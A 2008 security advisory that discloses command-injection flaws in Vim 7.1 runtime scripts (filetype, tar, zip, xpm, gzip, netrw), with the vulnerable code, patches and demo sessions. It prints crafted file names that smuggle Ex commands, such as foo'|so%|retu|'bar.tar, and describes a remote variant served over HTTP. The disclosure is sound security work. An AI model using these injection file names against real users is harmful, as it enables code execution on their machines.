Collection of Vulnerabilities in Fully Patched Vim 7.1 1. Summary Product : Vim -- Vi IMproved Version : Tested with 7.1.298 and 6.4; 7.2a.10 still partly vulnerable Impact : Arbitrary code execution Wherefrom: Local and remote Original : http://www.rdancer.org/vulnerablevim.html Improper quoting in some parts of Vim written in the Vim Script can lead to arbitrary code execution upon opening a crafted file. 2. Overview ``Vim is an almost compatible version of the UNIX editor Vi. Many new features have been added: multi-level undo, syntax highlighting, command line history, on-line help, spell checking, filename completion, block operations, etc.'' -- VIM 7.1 README.txt Parts of Vim are written in the Vim script language. A feature of this language widely used in the Vim code is the ``execute'' command, an equivalent of ``eval'' in some other languages. Throughout Vim, arguments passed to ``execute'' are not sanitized properly. This can lead to arbitrary code execution. We will show several exploits which execute arbitrary code upon opening a crafted file with the ex(1), vim(1), or view(1) commands. Only in few cases will we explore the possibility of remote exploitation. We will present fixes/workarounds to some of the vulnerabilities. The archive with code that is a part of this advisory can be found at ``http://www.rdancer.org/vulnerablevim.tar.bz2''. 3. Details 3.0. Vim version In this advisory, we analyse Vim version 7.1.298. In reply to the original advisory, Bram Moolenaar pointed out that version 7.1.314 was not fully vulnerable, and that the runtime files may need to be updated separately. As of version 7.2a.10 with contemporary runtime, not all the vulnerabilities have been fixed. 3.1. Vim Script in Vim ``The Vim script language is used for the startup vimrc file, syntax files, and many other things.'' -- Vim User Manual, Chapter 41 (usr_41.txt) How much is Vim Script used throughout Vim?$ find /usr/local/share/vim -type f -name \*.vim | wc -l 1037 $ find /usr/local/share/vim -type f -name \*.vim -exec cat {} \; \ | wc 2>/dev/null 149617 710299 6502709
3.2. The ``execute'' command :exe[cute] {expr1} .. Executes the string that results from the evaluation of {expr1} as an Ex command. -- Vim Reference Manual (eval.txt) ``execute'' is similar e.g. to the ``eval'' command of the POSIX shell. As Vim Script doesn't allow variables as arguments to commands, only literals, ``execute'' is very popular:let a = "vim" execute "setfiletype" a " Alternative is cumbersome let b = "/path/to/foo" execute "split" b " No alternative
Now whereas the setfiletype line can be written as:if !did_filetype() let &l:filetype = a endif
There is no alternative for the split command -- execute must be used. Which is a pity, because we might not even necessarily have control over the file name[1] . Symlinks or shell redirection might be used as a workaround. 3.3. Quoting in Vim Script There is no way to quote Ex command arguments transparently. When sanitizing an argument for shell's ``eval'' command, one can simply prepend all single quotes with a backslash, prepend and append a single quote, and that's it. In Vim, this algorithm has been recently introduced in the form of the shellescape() function[2]:$ ex Entering Ex mode. Type "visual" to go to Normal mode.
:let fmt = "%l o'clock" :let fmt_escape = shellescape (fmt) :echo fmt_escape '%l o'\''clock' :echo system ("date +" . fmt_escape) 6 o'clock
Sanitizing an argument of an Ex command in a generic way is not going to be that easy. 3.3.1. Three Character Classes Ex commands don't accept strings for arguments, only bare-words. In other words, there is just one level of quoting. It is possible to quote individual characters by prepending a backslash. As we can learn in the Vim Reference Manual (``cmdline.txt'') we can divide the characters in three classes -- characters that are treated specially : (1) *unless* preceded by a backslash (2) *when* preceded by a backslash (3) when preceded by a *quoted* backslash Example: Command File written ------------------------------ :write % Current file name :write \% % :write \\% \% So, now we have to write a piece of code that knows which class the characters belong to, and quote them accordingly, right? Not really. There is a plethora of characters treated in a special way by Vim commands. Treatment varies with context. We haven't found a comprehensive description which characters are treated specially by which commands, in which way. 3.4. Vulnerabilities 3.4.1. Statistics How many Vim Scripts use ``execute''?: $ find /usr/local/share/vim -type f -name \*.vim -exec grep -l '\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | wc -l 159 How many ``execute'' statements are there?: $ find /usr/local/share/vim -type f -name \*.vim -exec grep -h '\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | wc -l 991 Without comments: $ find /usr/local/share/vim -type f -name \*.vim -exec grep -h '\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | grep -v '^[[:blank:]]*"' | wc -l 901 3.4.2. Exploits All the exploits are created using the accompanying Makefiles in the respective subdirectories. When open in vim (or ex, view), the exploits create a file called ``pwned'' in the current directory. To create all the exploits in a certain subdirectory, run ``make all'' in that subdirectory. See the respective Makefile sources for details. It is also possible to use the Makefile in the root directory of this archive. To test all the exploits, run ``make test''. On an unpatched system, this will print a lot of output, and then show a nice table at the end: $ make test <snip> ------------------------------------------- -------- Test results below --------------- ------------------------------------------- filetype.vim strong : VULNERABLE weak : VULNERABLE zipplugin : VULNERABLE xpm.vim xpm : VULNERABLE xpm2 : VULNERABLE remote : VULNERABLE gzip_vim : VULNERABLE netrw : VULNERABLE Let's approach each vulnerability one by one. Each vulnerability section can be read independently of the others, and some of the information is therefore repeated. 3.4.2.1. filetype.vim (the ``weak'' exploit) Because this vulnerability requires the exploit file name to contain the payload, we have called this the ``weak'' exploit. 3.4.2.1.1. Vulnerability Exploits the execute statements at filetype.vim lines 20, 25 or 31:19 au BufNewFile,BufRead ?\+.orig,?\+.bak,?\+.old,?\+.new,?\+.rpmsave,?\+.rpmnew *20 \ exe "doau filetypedetect BufRead " . expand("<afile>:r") 21 au BufNewFile,BufRead *~ 22 \ let s:name = expand("<afile>") | 23 \ let s:short = substitute(s:name, '\~$', '', '') | 24 \ if s:name != s:short && s:short != "" | *25 \ exe "doau filetypedetect BufRead " . s:short | 26 \ endif | 27 \ unlet s:name | 28 \ unlet s:short 29 au BufNewFile,BufRead ?\+.in 30 \ if expand("<afile>:t") != "configure.in" | *31 \ exe "doau filetypedetect BufRead " . expand("<afile>:r") | 32 \ endif
A (modified) file name is used as an argument to the ``execute'' command without proper quoting. Crafted file name can be used to execute arbitrary Vim Shell commands. Content of the file is not important. 3.4.2.1.2. Exploit$ cd filetype.vim $ EXPLOIT_FLAVOUR=weak make -s clean sploit $ readlink exploit sploit/README-|so%~ $ ls pwned ls: cannot access pwned: No such file or directory $ vim "`readlink exploit`" [ Observe the file looks quite normal ] $ ls pwned pwned
3.4.2.1.3. Fix We attempted a fix along the lines of: let badchars = "\" |%#\n\t!<" [...] \ exe "doau filetypedetect BufRead " . escape(expand("<afile>:r"), badchars) We were not confident we have identified all the metacharacters that need quoting, or at least all the characters that must not have been quoted (so we could quote all the rest). 3.4.2.1.3. Workaround Comment out affected statements in ``filetype.vim''. -- autocommand triggered by filename matching pattern (i.e. having the right extension) -- possible to create valid syntax -- menu.lst won't work in usual locations 3.4.2.2. filetype.vim (the ``strong'' exploit) Because this vulnerability works with an innocuously looking filename, we have called this the ``strong'' exploit. 3.4.2.2.1. Vulnerability Exploits absent sanitization on line 190, followed by the execute statements at filetype.vim lines 181 or 1267: The code looks in the first five lines for a statement of the form ``asmsyntax=FOO'', where FOO can contain any characters except Tab and Space. FOO is then executed, without any sanitization. 187 let head = " ".getline(1)." ".getline(2)." ".getline(3)." ".getline(4). 188 \" ".getline(5)." " 189 if head =~ '\sasmsyntax=\S\+\s' *190 let b:asmsyntax = substitute(head, '.*\sasmsyntax=\(\S\+\)\s.*','\1', "") [... logical flow of the code then jumps to line 181 ...] *181 exe "setf " . b:asmsyntax [... or line 1267 ...] *1267 exe "setf " . b:asmsyntax In ``filetype.vim'', there are twelve other (non-exploitable) occurrences of the ``exe "setf " . some_variable'' idiom: $ grep '"setf ' filetype.vim \ exe "setf " . g:filetype_asa | \ exe "setf " . g:filetype_asp | exe "setf " . b:asmsyntax exe "setf " . a:alt \ exe "setf " . g:filetype_prg | exe "setf " . g:filetype_m exe "setf " . g:filetype_pl exe "setf " . g:filetype_inc exe "setf " . b:asmsyntax exe "setf " . g:filetype_w exe "setf " . g:filetype_i exe "setf " . g:filetype_p exe "setf " . a:name exe "setf " . g:filetype_sql 3.4.2.2.2. Exploit $ cd filetype.vim $ EXPLOIT_FLAVOUR=strong make -s clean sploit $ readlink exploit sploit/menu.lst $ ls pwned ls: cannot access pwned: No such file or directory $ vim "`readlink exploit`" [ Observe the file is an ordinary menu.lst -- or is it ] $ ls pwned pwned The exploit is a valid grub menu.lst, and also a valid Vim Script file. When open in Vim (view, ex), the payload is hidden. The exploit will not work when placed in ``/boot/grub''. This is because ``filetype.vim'' treats ``/boot/grub/menu.lst'' specially (``filetype.vim'' line 154). 3.4.2.2.3. Remote exploit We had to alter the payload, because (1) we can't source the remote file directly, and (2) the payload is executed twice. The payload is written to a temporary file, which is then sourced. $ cd filetype.vim $ make -s clean sploit-remote http-server $ fuser -n tcp 31337/tcp 31337/tcp: 20190 $ ls pwned ls: cannot access pwned: No such file or directory $ vim http://localhost:31337/"`readlink exploit`" [ Edit, enjoy, quit ] $ ls pwned pwned ``make test-remote'' and ``make demo-remote'' automate the process. 3.4.2.2.4. Fix Apply the following patch: --- /usr/local/share/vim/vim71/filetype.vim 2007-07-20 19:32:34.000000000 +0100 +++ filetype.vim 2007-08-05 23:01:49.000000000 +0100 @@ -178,16 +178,19 @@ endif endif - exe "setf " . b:asmsyntax + if !did_filetype() + let &l:filetype = b:asmsyntax + endif endfunc func! s:FTasmsyntax() + let l:badchars = "/\\*?[|<> \t" " see if file contains any asmsyntax=foo overrides. If so, change " b:asmsyntax appropriately let head = " ".getline(1)." ".getline(2)." ".getline(3)." ".getline(4). \" ".getline(5)." " - if head =~ '\sasmsyntax=\S\+\s' - let b:asmsyntax = substitute(head, '.*\sasmsyntax=\(\S\+\)\s.*','\1', "") + if head =~ '\sasmsyntax=[^'.l:badchars.']\+\s' + let b:asmsyntax = substitute(head, '.*\sasmsyntax=\([^'.l:badchars.']\+\)\s.*','\1', "") elseif ((head =~? '\.title') || (head =~? '\.ident') || (head =~? '\.macro') || (head =~? '\.subtitle') || (head =~? '\.library')) let b:asmsyntax = "vmasm" endif @@ -1264,7 +1267,9 @@ else call s:FTasmsyntax() if exists("b:asmsyntax") - exe "setf " . b:asmsyntax + if !did_filetype() + let &l:filetype = b:asmsyntax + endif else setf pov endif The if-clause is equivalent to ``setfiletype b:asmsyntax'' (if that were valid syntax) -- cf. ``:help setfiletype''. The sanitization added is based on Vim Reference Manual options.txt, which says about the 'syntax' option: ``Only normal file name characters can be used, "/\*?[|<>" are illegal.'' It is possible that there are systems on which a stricter check is required. A check against a fixed list of possible values would be nice, but what if there are user-defined syntax files? -- Could we get a list of valid values for an option somehow (portably)? 3.4.2.3. tar.vim ``When one edits a *.tar file, this plugin will handle displaying a contents page. Select a file to edit by moving the cursor atop the desired file, then hit the <return> key. After editing, one may also write to the file. Currently, one may not make a new file in tar archives via the plugin.'' -- Vim online help (``pi_tar.txt'') 3.4.2.3.1. Vulnerability File name is used in ``execute'' and ``system()'' commands without proper sanitization. Opening a tarball with a crafted file name can lead to arbitrary code execution. Following are some of the vulnerable statements of ``tar.vim''. This list is probably incomplete: 99 exe "$put ='".'\"'." Browsing tarfile ".a:tarfile."'" 107 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e') 112 exe "silent r! gzip -d -c ".g:tar_shq.tarfile.g:tar_shq."| ".g:tar_cmd." -".g:tar_browseoptions." - " 115 exe "silent r! bzip2 -d -c ".g:tar_shq.tarfile.g:tar_shq."| ".g:tar_cmd." -".g:tar_browseoptions." - " 118 exe "silent r! ".g:tar_cmd." -".g:tar_browseoptions." ".g:tar_shq.tarfile.g:tar_shq 134 exe "r ".a:tarfile 169 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e') 192 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e') 199 exe "silent r! gzip -d -c ".g:tar_shq.tarfile.g:tar_shq."| ".g:tar_cmd." -".g:tar_readoptions." - '".fname."'" 202 exe "silent r! bzip2 -d -c ".g:tar_shq.tarfile.g:tar_shq."| ".g:tar_cmd." -".g:tar_readoptions." - '".fname."'" 205 exe "silent r! ".g:tar_cmd." -".g:tar_readoptions." ".g:tar_shq.tarfile.g:tar_shq." ".g:tar_shq.fname.g:tar_shq 208 exe "file tarfile:".fname 278 call system("gzip -d ".tarfile) 282 call system("gzip -d ".tarfile) 287 call system("bzip2 -d ".tarfile) 303 let dirpath = substitute(system("cygpath ".dirpath),'\n','','e') 312 exe "w! ".fname 314 let tarfile = substitute(system("cygpath ".tarfile),'\n','','e') 319 call system("tar --delete -f '".tarfile."' '".fname."'") 335 call system(compress) 351 exe "e! ".tarfile All the arguments in these statements are derived from the tarball file name, with insufficient or absent sanitization. 3.4.2.3.2. Exploit We exploit the statement on the line 99, with a crafted file name. The tarball gets sourced. The tarball is also a valid Vim Script file. Its contents is arbitrary, as long as the exploit payload is the first archive member. $ cd tarplugin $ make -s clean sploit $ readlink exploit sploit/foo'|so%|retu|'bar.tar $ file -L exploit sploit/foo'|so%|retu|'bar.tar: POSIX tar archive $ ls pwned ls: cannot access pwned: No such file or directory $ vim "`readlink exploit`" [ Observe the file works like an ordinary tarball would ] $ ls pwned pwned For your convenience, running running ``make demo'' and ``make test'' in the tarplugin directory will do all the hard work in an interactive, and non-interactive way, respectively, and tell you whether the exploit has worked. 3.4.2.3.3. Fix The exploit includes a modified ``tar.vim'' and ``tarPlugin.vim'', fixed as much as was needed for the exploit to work. 3.4.2.4. zip.vim ``When one edits a *.zip file, this plugin will handle displaying a contents page. Select a file to edit by moving the cursor atop the desired file, then hit the <return> key. After editing, one may also write to the file. Currently, one may not make a new file in zip archives via the plugin.'' -- Vim online help (``pi_zip.txt'') ``tar.vim'' and ``zip.vim'' share code and vulnerabilities, and our exploit works in a similar manner. This exploit is not full-featured -- as we've shown with ``tar.vim'', this wouldn't be difficult to achieve. 3.4.2.4.1. Vulnerability As with ``tar.vim'', there are many execute statements using an insufficiently quoted file name as an argument. We exploit the same statement as with ``tar.vim'' (line 93): 93 exe "$put ='".'\"'." Browsing zipfile ".a:zipfile."'" 3.4.2.4.2. Exploit Our exploit is not feature-full -- we can open the file and see the contents listing, but an attempt to open a member, etc., will fail with an error. Completing the exploit would be just a matter of adapting from our ``tar.vim'' exploit. $ cd zipplugin $ make -s clean sploit $ readlink exploit sploit/foo'|so%|retu|'bar.zip $ file -L exploit sploit/foo'|so%|retu|'bar.zip: Zip archive data, at least v1.0 to extract $ ls pwned ls: cannot access pwned: No such file or directory $ vim "`readlink exploit`" Error detected while processing /home/rdancer/vuln/vim71/zipplugin/sploit/foo'|so%|retu|'bar.zip: line 1: E492: Not an editor command: PK^C^D [ Observe the file works like an ordinary tarball would ] $ ls pwned pwned The error is caused by the zip file magic number. It doesn't stay on the screen for too long though. We could get rid of the error by replacing the very first character of the file (the capital P) with a double quote ("), at the cost of creating a non-valid zip file. Set the environment variable EXPLOIT_ZIP_INVALID to ``invalid'' while running ``make sploit'': $ EXPLOIT_ZIP_INVALID=invalid make sploit unzip(1) doesn't have a problem working with such file, and neither does Vim. For your convenience, running ``make demo'' and ``make test'' in the zipplugin directory will do all the hard work in an interactive, and non-interactive way, respectively, and tell you whether the exploit has worked. 3.4.2.4.3. Fix The exploit includes a modified ``zip.vim'' and ``zipPlugin.vim'', fixed as much as was needed for the exploit to work. 3.4.2.5. xpm.vim and xpm2.vim ``xpm.vim'' and ``xmp2.vim'' provide syntax highlighting for X pixmaps. The syntax file is loaded for filenames matching *.pm, *.xpm and *.xpm2 (see ``filetype.vim'' for details). The vulnerable code is executed when Vim runs in graphic mode (gvim(1), ``vim -g''). 3.4.2.5.1. Vulnerability We exploit the insufficient sanitization and subsequent execution of a string taken from the file contents: xpm.vim:32 let s = matchstr(getline(i), '".\{-1,}"') xpm.vim:[...] xpm.vim:43 exe 'syn match xpmValues /'.s.'/' xmp2.vim:41 let s = getline(i) xmp2.vim:42 if match(s,"\!.*$") != -1 xmp2.vim:43 let s = matchstr(s, "^[^\!]*") xmp2.vim:[...] xmp2.vim:55 exe 'syn match xpm2Values /'.s.'/' This might be or might not be the only such vulnerability within ``xpm.vim'' and ``xpm2.vim''. 3.4.2.5.2. Exploit Note that Vim must be run in graphic mode for the exploit to work, as the vulnerable code branch is not run otherwise. The exploit for ``xpm.vim'' is a valid X pixmap. The exploit for `xpm2.vim'' is not. $ cd xpm.vim $ make -s clean sploit $ readlink exploit sploit/exploit.xpm $ file -L exploit exploit: X pixmap image text $ ls pwned ls: cannot access pwned: No such file or directory $ vim -g "`readlink exploit`" [ Edit, enjoy, quit ] $ ls pwned pwned For your convenience, running ``make demo'' and ``make test'' in the xpm.vim directory will do all the hard work in an interactive, and non-interactive way, respectively, and tell you whether the exploit has worked. For the ``xpm2.vim'' exploit, set the ``EXPLOIT_FLAVOUR'' environment variable to ``xpm2'' when running ``make sploit'': $ EXPLOIT_FLAVOUR=xpm2 make -s clean sploit You may also use ``make all'' to make all the extensions. 3.4.2.5.3. Remote exploit In order to exploit remotely, we have had to change our exploitation technique. ``source %'' doesn't work, as it's apparently not possible to source a http:// file from within the ``xpm.vim'' script. Without investigating further, we altered the ``xpm.vim'' exploit. Adapting the ``xpm2.vim'' exploit and the other exploits probably is possible. $ cd xpm.vim $ make -s clean sploit http-server $ fuser -n tcp 31337/tcp 31337/tcp: 20190 $ ls pwned ls: cannot access pwned: No such file or directory $ vim -g http://localhost:31337/"`readlink exploit`" [ Edit, enjoy, quit ] $ ls pwned pwned For your convenience, running ``make demo-remote'' and ``make test-remote'' in the xpm.vim directory will do all the hard work in an interactive, and non-interactive way, respectively, and tell you whether the exploit has worked. 3.4.2.6. gzip.vim ``The plugin installs autocommands to intercept reading and writing of files with these extensions: [...] *.Z [...] *.gz [...] *.bz2'' -- Vim Reference Manual (pi_gzip.txt) 3.4.2.6.1. Vulnerability ``autoload/gzip.vim'' lines 128 and 130 use modified file name in an argument to ``execute'' without proper sanitization or quoting: 127 if &verbose >= 8 *128 execute "doau BufReadPost " . expand("%:r") 129 else *130 execute "silent! doau BufReadPost " . expand("%:r") 131 endif 3.4.2.6.2. Exploit The contents of the file is arbitrary. The exploit uses the archive filename, and the original filename stored within the archive (we should use the comment field ideally). The exploit is a valid gzip file, and a Vim Script containing non-fatal errors. We use the ``silent!'' command in the file name to suppress the error messages. $ cd gzip_vim $ make -s clean sploit $ readlink exploit sploit/foo|sil!so%"bar.gz $ file -L exploit exploit: gzip compressed data, was "", from Unix, last modified: Fri Aug 10 01:49:28 2007 $ ls pwned ls: cannot access pwned: No such file or directory $ vim "`readlink exploit`" [ The file contents really can be anything ] $ ls pwned pwned For your convenience, running ``make demo'' and ``make test'' in the gzip_vim directory will do all the hard work in an interactive, and non-interactive way, respectively, and tell you whether the exploit has worked. 3.4.2.7. Netrw ``Netrw makes reading, writing, and browsing over a network connection easy! [...] Netrw supports "transparent" editing of files on other machines using urls [...]'' -- Netrw Reference Manual (pi_netrw.txt) 3.4.2.7.1. Vulnerability Opening file with a crafted name from the Netrw directory listing leads to arbitrary code execution. Netrw (.../runtime/autoload/netrw.vim) uses unsound constructs in many places -- see the source in We exploit the statement on line 2202. The ``dirname'' variable contains the name of the file to be opened, while ``s:netrw_cd_escape'' is set earlier on line 308.: 308 let s:netrw_cd_escape="[]#*$%'\" ?`!&();<>\\" [...] *2202 exe "e! ".escape(dirname,s:netrw_cd_escape) The escape() fails in its apparent purpose of sanitizing ``dirname'', because ``s:netrw_cd_escape'' is incomplete. 3.4.2.7.2. Exploit $ cd netrw $ make -s clean sploit $ readlink exploit | cat -vT ./sploit/pi_netrw.txt^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I|ne w|norm^Ii:q^Vx21^[o:so^Vx25^Vx2a^[ggyG@0 $ ls pwned ls: cannot access pwned: No such file or directory $ vim "`dirname "\`readlink exploit\`"`" [ Place cursor on ``pi_netrw.txt''. Press <Return>, 'P' or 'o'] [ Observe that the file looks more or less normal ] $ ls pwned pwned For your convenience, running ``make demo'' and ``make test'' in the netrw directory will do all the hard work in an interactive, and non-interactive way, respectively, and tell you whether the exploit has worked. For details on the exploit construction, see the file ``exploit_name''. Note: ``make test'' may hang when run from within vim. 3.4.3. Documentation We have not seen the insecure properties of ``execute'' mentioned in Vim documentation. To the contrary, ``execute'' is being used without precautions throughout. For example, in ``eval.txt'', a file name is passed to ``execute'' insecurely: 7238 :function! Write(file) 7239 : try *7240 : execute "write" a:file 4. Footnotes [1] Really a URL -- local file path without a scheme is a special case; we haven't explored remote issues, but they might be interesting. [2] shellescape() was introduced in patch 7.0.111, and is not used at all as of version 7.1.298. Naive quoting is in being used instead, throughout the code. A typical example from the ``netrwFileHandlers.vim'' file: *99 exe "!mozilla ".g:netrw_shq.page.g:netrw_shq ``g:netrw_shq'' being the shell quoting character of choice, a single or a double quote. 5. Copyright This advisory is Copyright 2008 Jan Minar <rdancer@rdancer.org> Copying welcome, under the Creative Commons ``Attribution-Share Alike'' License http://creativecommons.org/licenses/by-sa/2.0/uk/ Code included herein, and accompanying this advisory, may be copied according to the GNU General Public License version 2, or the Vim license. See the subdirectory ``licenses''. Various portions of the accompanying code were written by various parties. Those parties may hold copyright, and those portions may be copied according to the respective licenses. 6. History 2008-07-16 Note: The correct address is <vim-dev@vim.org> NOT <vim_dev@googlegroups.com> 2008-07-01 Updated version info in Summary and the Version section -- 7.1.314 was only partially vulnerable. 2008-05-13 Sent to bugs@vim.org, announcing intent to release publicly by 2008-06-13 2008-05-14 Reply from Vim maintainer 2008-06-13 Sent to: <full-disclosure@lists.grok.org.uk>, <bugtraq@securityfocus.com>, <vim_dev@googlegroups.com> Copy to: <bugs@vim.org>